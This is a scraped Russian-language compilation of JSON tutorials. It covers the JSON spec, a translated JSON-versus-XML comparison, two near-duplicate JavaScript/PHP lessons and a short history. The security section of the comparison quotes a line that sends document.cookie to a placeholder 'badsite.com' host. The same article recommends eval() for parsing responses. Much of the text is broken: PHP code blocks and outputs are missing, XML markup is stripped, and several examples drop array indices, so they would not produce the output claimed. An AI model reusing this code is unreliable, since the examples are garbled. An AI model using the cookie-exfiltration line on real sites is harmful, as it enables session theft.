Что такое json формат. Основы работы с JSON. Работаем со строкой JSON в JavaScript

JSON (JavaScript Object Notation) - простой формат обмена данными, удобный для чтения и написания как человеком, так и компьютером. Он основан на подмножестве языка программирования JavaScript , определенного в стандарте ECMA-262 3rd Edition - December 1999 . JSON - текстовый формат, полностью независимый от языка реализации, но он использует соглашения, знакомые программистам C-подобных языков, таких как C, C++, C#, Java, JavaScript, Perl, Python и многих других. Эти свойства делают JSON идеальным языком обмена данными.

JSON основан на двух структурах данных:

• Коллекция пар ключ/значение. В разных языках, эта концепция реализована как объект , запись, структура, словарь, хэш, именованный список или ассоциативный массив.
• Упорядоченный список значений. В большинстве языков это реализовано как массив , вектор, список или последовательность.

Это универсальные структуры данных. Почти все современные языки программирования поддерживают их в какой-либо форме. Логично предположить, что формат данных, независимый от языка программирования, должен быть основан на этих структурах.

В нотации JSON это выглядит так:

Объект - неупорядоченный набор пар ключ/значение. Объект начинается с { открывающей фигурной скобки и заканчивается } закрывающей фигурной скобкой. Каждое имя сопровождается: двоеточием, пары ключ/значение разделяются, запятой.

Массив - упорядоченная коллекция значений. Массив начинается с [ открывающей квадратной скобки и заканчивается ] закрывающей квадратной скобкой. Значения разделены, запятой.

Значение может быть строкой в двойных кавычках, числом , true , false , null , объектом или массивом . Эти структуры могут быть вложенными.

Строка - коллекция нуля или больше символов Unicode, заключенная в двойные кавычки, используя \ обратную косую черту в качестве символа экранирования. Символ представляется как односимвольная строка. Похожий синтаксис используется в C и Java.

Число представляется так же, как в C или Java, кроме того, что используется толко десятичная система счисления.

Пробелы могут использоваться между любыми лексемами.

Исключая некоторые детали кодирования, вышеизложенное полностью описывает язык.

• Перевод

Примечание: ниже перевод обзорной статьи «JSON vs XML» , посвященной JSON и его сравнению с XML по ряду критериев. Публикуется в целях популяризации JSON среди читателей Хабрахабра.

JSON (англ. JavaScript Object Notation) - формат обмена данными, легко читаем людьми, легко обрабатывается и генерируется программами.

Основан на подмножестве языка JavaScript , Standard ECMA-262 3rd Edition — декабрь 1999 .

JSON — Википедия

Что является правильным форматом ответа на XMLHttpRequest в AJAX-приложениях? Для большинства приложений, основанных на разметке, ответ будет простым — (X)HTML. Для информационно-ориентированных приложений выбор будет лежать между XML и JSON. До недавнего времени я не сильно задавался вопросом, что лучше использовать, XML или JSON. Я просто предполагал, что в каждом конкретном случае стоит выбирать наиболее подходящий формат, и все. Но недавно мне довелось проверить на практике этот подход. В этой заметке я опишу критерии, по которым проводил сравнение между XML и JSON, и собственные умозаключения.

Итак, критерии следующие.

• Удобочитаемость кода.
• Простота создания объекта данных на стороне сервера.
• Простота обработки данных на стороне клиента.
• Простота расширения.
• Отладка и исправление ошибок.
• Безопасность.

Удобочитаемость кода

Person person = new Person(); person.setFirstName("Subbu"); person.setLastName("Allamaraju"); writer.write(JSONObject.fromObject(person).toString());

Если рассматривать функционирование таких программных интерфейсов, то создания JSON не сильно отличается от сериализации Java beans в объекты. Однако, стоит отметить, что сейчас известно гораздо больше способов генерации XML, нежели JSON. Некоторые из этих программных интерфейсов для XML существуют уже много лет и по этой причине могут быть стабильнее при использовании для сложных приложений.

Другим аспектом, который стоит рассмотреть, будет количество ресурсов, которое используется для генерации ответа. Если при получении данных уже производятся «тяжелые» операции, то для серверной части не составит большого труда дополнительно их преобразовывать в XML для ответа. Если же создание XML будет являться самой ресурсоемкой операцией, то лучше использовать JSON.

Простота использования

На стороне клиентского приложения обработка JSON-данных как ответа на XMLHttpRequest чрезвычайно проста.

Var person = eval(xhr.responseText); alert(person.firstName);

Используя обычный eval() , можно преобразовать ответ в объект JavaScript. Как только эта операция произведена, можно получить доступ к данным, используя свойства преобразованного объекта. Это наиболее изящная часть всего JSON.

Теперь рассмотрим XML. Чтобы сделать нижеприведенный фрагмент кода прозрачнее, я убрал все проверки на ошибки.

"firstName"); alert(elements[0].firstChild.textContent);

Очевидно, что при обработке данных, полученных от сервера, необходимо просмотреть все DOM-дерево. Это очень трудоемкая операция, и она предрасположена к появлению ошибок. К несчастью, в браузере нам приходится иметь дело именно с DOM. Браузеры не поддерживают языка запросов, наподобие XPath, для получения узлов дерева в XML-документе. Поддержка этих функций относится уже к XSLT, но он достаточно ограничен (прим.: в браузере ) в плане преобразования XML в разметку (например, в HTML). Рабочая группа по программным Веб-интерфейсам (Web API Working Group ) от W3C работает над интерфейсом селекторов (Selectors API ), который может быть использован для применения CSS-селекторов при выборе узлов из объекта Document . Используя такой интерфейс можно будет преобразовать вышеприведенный пример кода в xml.match("person.firstName") , чтобы получить элемент firstName . Не сказать, что это большое достижение для XML-документа из этого примера, но может оказаться полезным для работы с сильно разветвленными документами. Этот интерфейс пока еще не завершен, и пройдут еще годы, прежде чем браузеры будут его поддерживать.

В общем, если я буду выбирать между XML и JSON, я предпочту JSON из-за простоты реализации обработки на стороне клиента.

Расширяемость

Расширяемость помогает уменьшить число связей между поставщиком и получателем данных. В контексте AJAX-приложений, скрипт на стороне клиента должен быть достаточно инвариантным относительно совместимых изменениях в данных.

По общему убеждению , XML автоматически является расширяемым просто благодаря наличию буквы «X». Но это не является безусловным правилом (т.е. действующим по умолчанию). Расширяемость XML исходит из того принципа, что вы можете определить дополнительные узлы в вашем XML, а затем применять правило «ненужное пропустить» (т.е. если при обработке XML вам встретился незнакомый элемент или атрибут, просто пропустите его).

Чтобы воспользоваться всеми преимуществами расширяемости, необходимо создавать код на стороне клиента с расчетом на эту самую расширяемость. Например, следующий пример развалится, если вы захотите вставить, например, элемент middleName .

Var xml = xhr.responseXML; var elements = xml.getElementsByTagName("firstName"); var firstNameEl = elements[0]; var lastNameEl = firstNameEl.nextSibling;

Если вы вставите элемент сразу после элемента , в этом примере произойдет неверная интерпретация отчества как фамилии. Чтобы быть инвариантным относительно этого изменения, требуется переписать код, чтобы явно получать элемент , или доступаться к nextSibling , только если обнаружен потомок с нужным tagName . Таким образом, XML является расширяемым до тех пор, как вы пишет код, рассчитывая на будущую расширяемость. Все предельно просто.

Вернемся к JSON. Я утверждаю, что расширить JSON-данные проще, чем XML. Это бесспорно требует меньше усилий. Рассмотрим добавление свойства middleName к JSON-ответу. Для того, чтобы получить к нему доступ, вам достаточно просто его вызвать.

Alert(person.middleName);

Этот код не изменится, если вы добавите отчество в ваш ответ. Но что делать в случае обработки человека с или без отчества? С JSON это просто.

if (person.middleName) { // Обработка }

Моя позиция заключается в том, что, если иметь в виду возможную будущую расширяемость, и XML-, JSON-данные могут быть расширены. Но с JSON расширять данные проще, чем с XML. Вам просто требуется проверить, что требуемое свойство существует у объекта, и действовать в соответствии с результатом проверки.

Существует и другая возможность расширить JSON-данные, она заключается в использовании вызовов функций вместе с объявлениями данных прямо в ответе.

Alert("Hi - I"m a person"); ({"firstName" : "Subbu", "lastName" : "Allamaraju"});

Когда данные объявляются через eval() , браузер также вызовет выражение alert() . В этом случае, вы можете и загрузить данные, и выполнить функции. Этим подходом стоит пользоваться с большой оглядкой, ибо он засоряет ответ вызовами функций и создает связь между вызовами и данными. В некоторых источниках также рассматривается потенциальная уязвимость такого подхода с точки зрения безопасности, об этом более подробно изложено немного ниже.

Отладка и исправление ошибок

Этот аспект касается как серверной части вашего приложения, так и клиентской. На сервере необходимо удостовериться в том, что данные правильно сформированы и корректны. На стороне клиента должно быть просто отлаживать ошибки в ответе.

В случае XML, относительно просто проверять, что данные, отправляемые клиенту, правильно сформированы и корректны. Вы можете использовать schema для ваших данных, и применить ее для проверки данных. С JSON эта задача становится ручной и требует проверку того, что в результате ответа у объекта присутствуют правильные атрибуты.

На стороне клиента в обоих случаях тяжело обнаружить ошибки. Для XML браузер будет просто не способен преобразовать его в responseXML. При небольших объемах JSON-данных можно воспользоваться расширением FireBug для отладки и исправления ошибок. Но при больших объемах данных становится несколько затруднительно соотнести сообщение об ошибке с конкретным местом в коде.

Безопасность

Dave Johnson в своей заметке JSON и Золотое руно высказывает мнение, что JSON может стать причиной проблем безопасности. Суть заметки сводится к тому, что если вы допускаете вставку вызовов функций наряду с данными в JSON-ответах и используете eval() для обработки ответа, то тем самым вы исполняете произвольный код, фактически, который уже может содержать угрозу безопасности.

Window.location = "http://badsite.com?" + document.cookie; person: { "firstName" : "Subbu", "lastName" : "Allamaraju" }

Если ответ в примере выше будет выполнен, это вызовет отправку браузером пользовательских cookies на сторонний сайт. Но в данном случае, существует некоторое заблуждение в определении угрозы безопасности. Не следует доверять данным или коду, полученным из непроверенного источника. И во-вторых, мы не сможете использовать XMLHttpRequest для связи с доменами, отличными от домена-источника скрипта. Итак, только сами разработчики при создании приложения могут инициировать отправку cookies на сторонний сайт. Это довольно сомнительно, потому что они могут с тем же успехом разместить этот зловредный код где угодно в документе за пределами передаваемого от сервера ответа с данными. Возможно, я что-то упустил, но я не вижу смысла рассматривать JSON как небезопасный по сравнению с XML.

Мой выбор

В случае информационно-ориентированных приложений я предпочту использовать JSON, а не XML, в силу его простоты и легкости обработки данных на стороне клиента. XML может быть незаменимым на сервере, но с JSON определенно проще работать на клиенте.

Наверняка вы когда-нибудь слышали о JSON. Что же это такое? Что он может и как его использовать?

В данном уроке мы расскажем об основах JSON и раскроем следующие пункты:

• Что такое JSON?
• Для чего используется JSON?
• Как создать строку JSON?
• Простой пример строки JSON.
• Сравним JSON и XML.
• Как работать с JSON в JavaScript и PHP?

Что такое JSON?

JSON - простой, основанный на использовании текста, способ хранить и передавать структурированные данные. С помощью простого синтаксиса вы можете легко хранить все, что угодно, начиная от одного числа до строк, массивов и объектов, в простом тексте. Также можно связывать между собой массивы и объекты, создавая сложные структуры данных.

После создания строки JSON, ее легко отправить другому приложению или в другое место сети, так как она представляет собой простой текст.

JSON имеет следующие преимущества:

• Он компактен.
• Его предложения легко читаются и составляются как человеком, так и компьютером.
• Его легко преобразовать в структуру данных для большинства языков программирования (числа, строки, логические переменные, массивы и так далее)
• Многие языки программирования имеют функции и библиотеки для чтения и создания структур JSON.

Название JSON означает JavaScript Object Notation (представление объектов JavaScript). Как и представляет имя, он основан на способе определения объектов (очень похоже на создание ассоциативных массивов в других языках) и массивов.

Для чего используется JSON?

Наиболее частое распространенное использование JSON - пересылка данных от сервера к браузеру. Обычно данные JSON доставляются с помощью AJAX , который позволяет обмениваться данными браузеру и серверу без необходимости перезагружать страницу.

Пользователь нажимает миниатюру продукта в онлайн магазине.

JavaScript, выполняющийся на браузере, генерирует запрос AJAX к скрипту PHP, запущенному на сервере, передавая ID выбранного продукта.

Скрипт PHP получает название продукта, описание, цену и другую информацию из базы данных. Затем составляет из данных строку JSON и отсылает ее браузеру.

JavaScript, выполняющийся на браузере, получает строку JSON, декодирует ее и выводит информацию о продукте на странице для пользователя.

Также можно использовать JSON для отправки данных от браузера на сервер, передавая строку JSON в качестве параметра запросов GET или POST. Но данный метод имеет меньшее распространение, так как передача данных через запросы AJAX может быть упрощена. Например, ID продукта может быть включен в адрес URL как часть запроса GET.

Библиотека jQuery имеет несколько методов, например, getJSON() и parseJSON() , которые упрощают получение данных с помощью JSON через запросы AJAX.

Как создать строку JSON?

Есть несколько основных правил для создания строки JSON:

• Строка JSON содержит либо массив значений, либо объект (ассоциативный массив пар имя/значение).
• Массив заключается в квадратные скобки ([ и ]) и содержит разделенный запятой список значений.
• Объект заключается в фигурные скобки ({ и }) и содержит разделенный запятой список пар имя/значение.
• Пара имя/значение состоит из имени поля, заключенного в двойные кавычки, за которым следует двоеточие (:) и значение поля.
• Значение в массиве или объекте может быть:
  • Числом (целым или с плавающей точкой)
  • Строкой (в двойных кавычках)
  • Логическим значением (true или false)
  • Другим массивом (заключенным в квадратные скобки)
  • Другой объект (заключенный в фигурные скобки)
  • Значение null

Чтобы включить двойные кавычки в строку, нужно использовать обратную косую черту: \" . Так же, как и во многих языках программирования, можно помещать управляющие символы и шестнадцатеричные коды в строку, предваряя их обратной косой чертой. Смотрите детали на сайте JSON .

Простой пример строки JSON

Ниже приводится пример оформления заказа в формате JSON:

{ "orderID": 12345, "shopperName": "Ваня Иванов", "shopperEmail": "[email protected]", "contents": [ { "productID": 34, "productName": "Супер товар", "quantity": 1 }, { "productID": 56, "productName": "Чудо товар", "quantity": 3 } ], "orderCompleted": true }

Рассмотрим строку подробно:

• Мы создаем объект с помощью фигурных скобок ({ и }).
• В объекте есть несколько пар имя/значение: "orderID": 12345 Свойство с именем "orderId" и целочисленным значением 12345 "shopperName": "Ваня Иванов" свойство с именем "shopperName" и строковым значением "Ваня Иванов" "shopperEmail": "[email protected]" Свойство с именем "shopperEmail" и строковым значением "[email protected]" "contents": [ ... ] Свойство с именем "contents" , значение которого является массивом "orderCompleted": true Свойство с именем "orderCompleted" и логическим значением true
• В массиве "contents" есть 2 объекта, представляющие отдельные позиции в заказе. Каждый объект содержит 3 свойства: productID , productName , и quantity .

Кстати, так как JSON основан на объявлении объектов JavaScript, то вы можете быстро и просто сделать выше приведенную строку JSON объектом JavaScript:

var cart = { "orderID": 12345, "shopperName": "Ваня Иванов", "shopperEmail": "[email protected]", "contents": [ { "productID": 34, "productName": "Супер товар", "quantity": 1 }, { "productID": 56, "productName": "Чудо товар", "quantity": 3 } ], "orderCompleted": true };

Сравнение JSON и XML

Во многих отношениях вы можете рассматривать JSON как альтернативу XML, по крайней мере, в сфере веб приложений. Концепция AJAX оригинально основывалась на использовании XML для передачи данных между сервером и браузером. Но в последние годы JSON становится все более популярным для переноса данных AJAX.

Хотя XML является проверенной технологией, которая используется в достаточном количестве приложений, преимуществами JSON являются более компактный и простой для распознавания формат данных.

Вот как будет выглядеть выше приведенный пример объекта на XML:

orderID 12345 shopperName Ваня Иванов shopperEmail [email protected] contents productID 34 productName Супер товар quantity 1 productID 56 productName Чудо товар quantity 3 orderCompleted true

Версия XML имеет существенно больший размер. В действительности она имеет длину 1128 символов, а вариант JSON - только 323 символа. Версию XML также достаточно трудно воспринимать.

Конечно, это радикальный пример. И возможно создать более компактную запись XML. Но даже она будет существенно длиннее эквивалента на JSON.

Работаем со строкой JSON в JavaScript

JSON имеет простой формат, но создавать строку JSON вручную достаточно утомительно. Кроме того, часто нужно взять строку JSON, конвертировать ее содержание в переменную, которую можно будет использовать в коде.

Большинство языков программирования имеют инструменты для простого преобразования переменных в строки JSON и наоборот.

Создаем строку JSON из переменной

JavaScript имеет встроенный метод JSON.stringify() , который берет переменную и возвращает строку JSON, представляющую ее содержание. Например, создадим объект JavaScript, который содержит сведения о заказе из нашего примера, а затем создадим из него строку JSON:

var cart = { "orderID": 12345, "shopperName": "Ваня Иванов", "shopperEmail": "[email protected]", "contents": [ { "productID": 34, "productName": "Супер товар", "quantity": 1 }, { "productID": 56, "productName": "Чудо товар", "quantity": 3 } ], "orderCompleted": true }; alert (JSON.stringify(cart));

Данный код выдаст:

Обратите внимание, что метод JSON.stringify() возвращает строку JSON без пробелов. Ее сложнее читать, но зато она более компактна для передачи через сеть.

Существует несколько способов разобрать строку JSON в JavaScript, но самый безопасный и надежный - использовать встроенный метод JSON.parse() . Он получает строку JSON и возвращает объект или массив JavaScript, который содержит данные. Например:

var jsonString = " \ { \ "orderID": 12345, \ "shopperName": "Ваня Иванов", \ "shopperEmail": "[email protected]", \ "contents": [ \ { \ "productID": 34, \ "productName": "Супер товар", \ "quantity": 1 \ }, \ { \ "productID": 56, \ "productName": "Чудо товар", \ "quantity": 3 \ } \ ], \ "orderCompleted": true \ } \ "; var cart = JSON.parse (jsonString); alert (cart.shopperEmail); alert (cart.contents.productName);

Мы создали переменную jsonString , которая содержит строку JSON нашего примера с заказом. Затем мы передаем данную строку методу JSON.parse() , который создает объект, содержащий данные JSON и сохраняет его в переменной cart . Остается только осуществить проверку, выведя свойства объекта shopperEmail и productName массива contents .

В результате мы получим следующий вывод:

В реальном приложении ваш JavaScript код будет получать заказ в виде строки JSON в AJAX ответе от скрипта сервера, передавать строку методу JSON.parse() , а затем использовать данные для отображения на странице пользователя.

JSON.stringify() и JSON.parse() имеют другие возможности, такие как использование возвратных функций для пользовательской конвертации определённых данных. Такие опции очень удобны для конвертации различных данных в правильные объекты JavaScript.

Работаем со строкой JSON в PHP

PHP, как и JavaScript, имеет встроенные функции для работы с JSON строками.

Создаем строку JSON из переменной PHP

Функция json_encode() принимает переменную PHP и возвращает строку JSON, представляющую содержание переменной. Вот наш пример с заказом, написанный на PHP:

Данный код возвращает абсолютно такую же строку JSON, как и в примере с JavaScript:

{"orderID":12345,"shopperName":"Ваня Иванов","shopperEmail":"[email protected]","contents":[{"productID":34,"productName":"Супер товар","quantity":1},{"productID":56,"productName":"Чудо товар","quantity":3}],"orderCompleted":true}

В реальном приложении ваш скрипт PHP пришлет данную строку JSON как часть AJAX ответа браузеру, где JavaScript код с помощью метода JSON.parse() преобразует ее обратно в переменную для вывода на странице пользователя.

Вы может передавать различные флаги в качестве второго аргумента функции json_encode() . С их помощью можно изменять принципы кодирования содержания переменных в строку JSON.

Создаем переменную из строки JSON

Для преобразования строки JSON в переменную PHP используется метод json_decode() . Заменим наш пример для JavaScript с методом JSON.parse() на код PHP:

Как и для JavaScript данный код выдаст:

[email protected] Чудо товар

По умолчанию функция json_decode() возвращает объекты JSON как объекты PHP. Существуют обобщенные объекты PHP класса stdClass . Поэтому мы используем -> для доступа к свойствам объекта в примере выше.

Если вам нужен объект JSON в виде ассоциированного массива PHP, нужно передать true в качестве второго аргумента функции json_decode() . Например:

$cart = json_decode($jsonString, true); echo $cart["shopperEmail"] . "
"; echo $cart["contents"]["productName"] . "
";

Данный код выдаст такой же вывод:

[email protected] Чудо товар

Также функции json_decode() можно передавать другие аргументы для указания глубины рекурсии и способов обработки больших целых чисел.

Заключение

Хотя JSON прост для понимания и использования, он является очень полезным и гибким инструментом для передачи данных между приложениями и компьютерами, особенно при использовании AJAX. Если вы планируете разрабатывать AJAX приложение, то нет сомнений, что JSON станет важнейшим инструментом в вашей мастерской.

Что такое JSON и на что он способен? В этой статье вы узнаете, как использовать JSON для легкой работы с данными. Так же мы рассмотрим, как работать с JSON используя при этом PHP и JavaScript.

Если вы разрабатывали вебсайты или веб-приложения в целом, вероятней всего вы слышали о JSON, по крайней мере, мимолетом. Но, что конкретно значит JSON? Что может делать этот формат данных и как им пользоваться?

В этой статье мы узнаете основы работы с json форматом. Мы будем следовать следующим темам:

• Что такое JSON формат?
• Как создавать JSON строки?
• Простой пример JSON данных
• Сравнение JSON с XML

Давайте начнем!

Что такое JSON формат?

JSON - это простой, основанный на тексте, способ сохранять и передавать структурированные данные. С помощью простого синтаксиса вы можете легко сохранять как простые цифры и строки, так и массивы, объекты, используя при этом не что иное как текст. Так же можно связывать объекты и массивы, что позволяет создавать сложные структуры данных.

После создания JSON строки, ее легко можно пересылать в любое приложение или компьютер, так как это всего лишь текст.

JSON имеет много преимуществ:

• Он компактный
• Он понятен для людей и легко считывается компьютером
• Его легко можно преобразовать в программные форматы: числовые значения, строки, булевой формат, нулевое значение, массивы и ассоциативные массивы.
• Почти все программные языки имеют функции, позволяющие считывать и создавать json формат данных.

Буквально, аббревиатура JSON означает - JavaScript Object Notation. Как описано ранее, этот формат основан на создании объектов, что-то подобное к ассоциативным массивам в других языках программирования.

Для каких целей используется JSON?

Более всего, json используется для обмена данными между javascript и серверной стороной (php). Другими словами, для технологии ajax. Это очень удобно, когда вы передаете несколько переменных или целые массивы данных.

Как это выглядит на примере:

Пользователь кликает по превьюшке картинки

JavaScript обрабатывает это событие и посылает ajax запрос к PHP скрипту, передавая ID картинки.

На сервере, php получает описание картинки, имя картинки, адрес к большому изображению и другую информацию из базы данных. Получив, преобразовывает в JSON формат и отправляет обратно на страницу пользователя.

JavaScript получает ответ в виде JSON, обрабатывает данные, формирует html код и выводит увеличенное изображение с описанием и другой информацией.

Так происходит увеличение картинки, без перезагрузки страницы в браузере. Это очень удобно, когда нам необходимо получить частичные данные, или передать небольшой объем информации на сервер.

Всеми любимый jQuery, имеет функции getJSON() и parseJSON(), которые помогают работать с форматом через ajax запросы.

Как создавать JSON строки?

Ниже предоставлены основные правила создания JSON строк:

• JSON строка содержит как массив значений, так и объект (ассоциативный массив с парами имя/значение).
• Массив должен быть обвернут в квадратные скобки, [ и ], может содержать список значений, которые отделяются через кому.
• Объекты обворачиваются с помощью фигурных дужек, { и }, также содержат разделенные комой пары имя/значение.
• Пары имя/значение состоят из имя поля (в двойных кавычках), после чего следует двоиточие (:) , после значение данного поля.
• Значения в массиве или объекте могут быть:
  • Числовые (целые или дробные с точкой)
  • Строковые (обвернутые в двойные кавычки)
  • Логические (true или false)
  • Другие массивы (обвернутые в квадратные скобки [ и ])
  • Другие объекты (обвернутые в фигурные дужки { и })
  • Нулевое значение (null)

Важно! Если вы используете двойные кавычки в значениях, экранируйте их с помощью обратного слеша: \". Также можно использовать hex закодированные символы, так как вы это делаете в других программных языках.

Простой пример JSON данных

Следующий пример показывает, как можно сохранять данные в «корзине» интернет магазина с помощью JSON формата:

{ "orderID": 12345, "shopperName": "John Smith", "shopperEmail": "[email protected]", "contents": [ { "productID": 34, "productName": "SuperWidget", "quantity": 1 }, { "productID": 56, "productName": "WonderWidget", "quantity": 3 } ], "orderCompleted": true }

Давайте разберем эти данные по частям:

В начале и конце мы использует фигурные дужки { и }, которые дают понять, что это объект.

Внутри объекта мы имеем несколько пар имя/значение:

"orderID": 12345 - поле с именем orderId и значение 12345

"shopperName": "John Smith" - поле с именем shopperName и значение John Smith

" shopperEmail": " johnsmith@ example. com" - подобно, как и в предыдущем поле, здесь храниться email покупателя.

"contents": [ ... ] - поле с именем content, значение которого массив.

"orderCompleted": true - поле с именем orderCompleted, значение которого true

Внутри массива contents, мы имеем два объекта, которые отображают содержимое корзины. Каждый объект продукта имеет три свойства: productID, productName, quantity.

На последок, так как JSON идентичен с объектами в JavaScript, вы легко можете взять этот пример и создать из него JavaScript объект:

var cart = { "orderID": 12345, "shopperName": "John Smith", "shopperEmail": "[email protected]", "contents": [ { "productID": 34, "productName": "SuperWidget", "quantity": 1 }, { "productID": 56, "productName": "WonderWidget", "quantity": 3 } ], "orderCompleted": true };

Сравнение JSON с XML

В большинстве случаев, вы будете думать о JSON как альтернативе XML формату - по крайней мере в рамках веб приложений. Концепция Ajax, в оригинале использует XML для обмена данными между сервером и браузером, но в последние годы JSON стал более популярным для передачи ajax данных.

Хотя XML это испытанная и хорошо тестированная технология которой пользуются множество приложений, преимущества JSON формата в том, что он более компактный и более прост в написании и чтении.

Вот вышеописанный JSON пример, только переписанный в XML формате:

orderID 12345 shopperName John Smith shopperEmail [email protected] contents productID 34 productName SuperWidget quantity 1 productID 56 productName WonderWidget quantity 3 orderCompleted true

Как видите в несколько раз длиннее нежели JSON. По факту, этот пример длинной 1128 символов, в то время, как JSON версия всего лишь 323 символа. Также XML версию сложнее читать.

Естественно, нельзя судить только по одному примеру, но даже небольшие объемы информации занимают меньше места в JSON формате, нежели в XML.

Как работать с JSON через PHP и JS?

Вот мы и подошли к самому интересному - практической стороне JSON формата. Сначала отдадим дань JavaScript’у, после посмотрим, как можно манипулировать с JSON через PHP.

Создание и чтение JSON формата с помощью JavaScript

Несмотря на то, что JSON формат прост, его сложно писать вручную при разработке веб приложений. Более того, часто приходится конвертировать JSON строки в переменные, после чего использовать их в своем коде.

К счастью, многие языки программирования предоставляют инструменты для работы с JSON строками. Основная идея которых:

Создание JSON строк, вы начинаете с переменных содержащих некие значения, после пропускаете их через функцию, превращающую данные в JSON строку.

Чтение JSON строк, вы начинаете с JSON строки содержащей определенные данные, пропускаете строку через функцию, которая создает переменные содержащие данные.

Давайте посмотрим, как это делается в JavaScript.

Создаем JSON строку из JavaScript переменной

JavaScript имеет встроенный метод, JSON.stringify(), который принимает переменную javascript и возвращает json строку репрезентируя содержимое переменной. Для примера, воспользуемся ранее созданным объектом, сконвертируем его в JSON строку.

var cart = { "orderID": 12345, "shopperName": "John Smith", "shopperEmail": "[email protected]", "contents": [ { "productID": 34, "productName": "SuperWidget", "quantity": 1 }, { "productID": 56, "productName": "WonderWidget", "quantity": 3 } ], "orderCompleted": true }; alert (JSON.stringify(cart));

Вот что выведется на экран:

{"orderID":12345,"shopperName":"John Smith","shopperEmail":"[email protected]", "contents":[{"productID":34,"productName":"SuperWidget","quantity":1}, {"productID":56,"productName":"WonderWidget","quantity":3}], "orderCompleted":true}

Заметьте, что JSON.stringify() выводит JSON строки без пробелов. Сложно читать, но так более компактно, что важно при пересылке данных.

Создаем JavaScript переменную из JSON строки

Существует несколько способов парсинга JSON строк, наиболее приемлем и безопасный используя JSON.parse() метод. Он принимает JSON строку и возвращает JavaScript объект или массив содержащий данные JSON. Вот пример:

var jsonString = " \ { \ "orderID": 12345, \ "shopperName": "John Smith", \ "shopperEmail": "[email protected]", \ "contents": [ \ { \ "productID": 34, \ "productName": "SuperWidget", \ "quantity": 1 \ }, \ { \ "productID": 56, \ "productName": "WonderWidget", \ "quantity": 3 \ } \ ], \ "orderCompleted": true \ } \ "; var cart = JSON.parse (jsonString); alert (cart.shopperEmail); alert (cart.contents.productName);

Здесь мы создавали переменную, jsonString, которая содержит JSON строку из ранее предоставленных примеров. После чего пропускали эту строку через JSON.parse() для создания объекта содержащего JSON данные, которые хранятся в cart переменной. На конец, мы проверяем наличие данных и выводим некоторую информацию средствами модального окна alert.

Выведется следующая информация:

В реальном веб приложении, ваш JavaScript код должен принимать JSON строку как ответ от сервера (после посылки AJAX запроса), после чего парсите строку и выводите данные о содержимом корзины пользователю.

Создание и чтение JSON формата с помощью PHP

PHP, подобно JavaScript’у, имеет функции позволяющие конвертировать переменные в JSON формат, и наоборот. Давайте рассмотрим их.

Создание JSON строки из PHP переменной

Json_encode() принимает PHP переменную и возвращает JSON строку, репрезентируя данные переменной. Вот наш пример «корзины» написанный на PHP:

Этот код выводит в точности такой результат, как и JavaScript пример - валидную JSON строку репрезентирующую содержимое переменных:

{"orderID":12345,"shopperName":"John Smith","shopperEmail":"[email protected]","contents":[{"productID":34,"productName":"SuperWidget","quantity":1},{"productID":56,"productName":"WonderWidget","quantity":3}],"orderCompleted":true}

В реалии, ваш PHP скрипт должен посылать JSON строку как ответ на AJAX запрос, где JavaScript будет использовать JSON.parse() для превращения строки в переменные.

В функции json_encode() можно указывать дополнительные параметры, позволяющие конвертировать некоторые символы в hex.

Создание PHP переменной из JSON строки

Аналогично к вышеописанному, существует функция json_decode(), позволяющая декодировать JSON строки и помещать содержимое в переменные.

Как и в случае с JavaScript, этот код выведет следующее:

[email protected] WonderWidget

По умолчанию, json_decode() возвращает JSON объекты как PHP объекты. Подобно привычному синтаксису, мы используем -> для доступа к свойствам объекта.

Если в дальнейшем вы захотите использовать данные в виде ассоциативного массива, просто передайте вторым параметров true в функции json_decode(). Вот пример:

$cart = json_decode($jsonString, true); echo $cart["shopperEmail"] . "
"; echo $cart["contents"]["productName"] . "
";

Это выводит тот же результат:

[email protected] WonderWidget

Также в функцию json_decode() можно передавать дополнительные аргументы, для определения обработки больших чисел и рекурсии.

В заключение о JSON формате

Если вы собрались создавать веб приложение использующее технологию Ajax, несомненно воспользуйтесь форматом JSON для обмена данными между сервером и браузером.

Состоящих из пар атрибут - значение. Это наиболее распространенный формат данных, используемый для асинхронной связи между браузером и сервером, в значительной степени заменяющий XML (используется AJAX).

JSON - это независимый от языка формат данных, который был получен из JavaScript. С 2017 года многие языки программирования используют код для генерации и анализа данных в только в нем. Имена файлов JSON используют расширение.json.

История создания

Первоначально формат JSON разработал Дуглас Крокфорд в начале нулевых, и в последующем два конкурирующих стандарта (RFC 7159 и ECMA-404) определили его в 2013 году. Стандарт ECMA описывает только допустимый синтаксис, в то время как RFC охватывает некоторые основы безопасности и взаимодействия.

Кроме того, существует стандарт RFC 7493, который определяет ограниченный профиль, известный как I-JSON (сокращение от «Internet JSON»). Он стремится преодолеть некоторые проблемы взаимодействия. Каждый такой документ является действительным документом JSON.

Необходимость в создании этого формата выросла из потребности в реальном протоколе связи между сервером и браузером, осуществляемой в реальном времени без использования плагинов (таких, как Flash или Java-апплеты).

Развитие и применение

Как уже отмечено, Дуглас Крокфорд, будучи создателем компании StateSoftware, впервые обозначил и популяризировал формат JSON. Впоследствии соучредители договорились о создании системы, использующей стандартные возможности браузера, и предоставили абстракционный уровень для разработчиков для создания приложений с непрерывным дуплексным подключением к веб-серверу. При этом появилась возможность удерживать два HTTP-соединения открытыми и обрабатывать их до стандартного времени работы браузера, если обмен данными не производился. Соучредители провели обсуждение за круглым столом и проголосовали за то, чтобы назвать формат данных JSML или JSON, а также определить тип лицензии, по которому новая разработка станет доступна. В настоящее время формат имеет открытый исходный код.

Практическое использование

Веб-сайт JSON.org был запущен в 2002 году. В декабре 2005 года Yahoo! начал предлагать некоторые из своих веб-сервисов в этом формате. Google стал применять фиды JSON для своего веб-протокола GData только в декабре 2006 года.

Первоначально формат файла JSON предназначался для подмножества языка сценариев JavaScript (в частности, Standard ECMA-262 3rd Edition-December) и обычно использовался вместе с ним. Однако это не зависящий от языка данных формат. Код для разбора и генерации данных JSON доступен на многих языках программирования. На веб-сайте JSON перечислены все библиотеки.

Несмотря на то, что JSON-формат online изначально рекламировался и считался строгим подмножеством JavaScript и ECMAScript, он периодически допускает некоторые символы, не экранированные в строках, которые являются недопустимыми в строках JavaScript и ECMAScript.

Сам по себе JSON стал международным стандартом ECMA в 2013 году как стандарт ECMA-404, который в том же году использовался в RFC 7158 в качестве ссылки. В 2014 году RFC 7159 стал основной ссылкой на использование JSON в Интернете (например, MIME application/json).

Типы данных, синтаксис и пример

Основными типами данных JSON являются:

• Число: десятичное число со знаком, которое может содержать дробную часть и может использовать экспоненциальную нотацию E, но не может включать не-числа (например, NaN). Формат не делает различий между целыми и числами с плавающей запятой. JavaScript использует формат двойной точности с плавающей запятой для всех своих числовых значений, но другие языки, реализующие JSON, могут кодировать их по-разному.

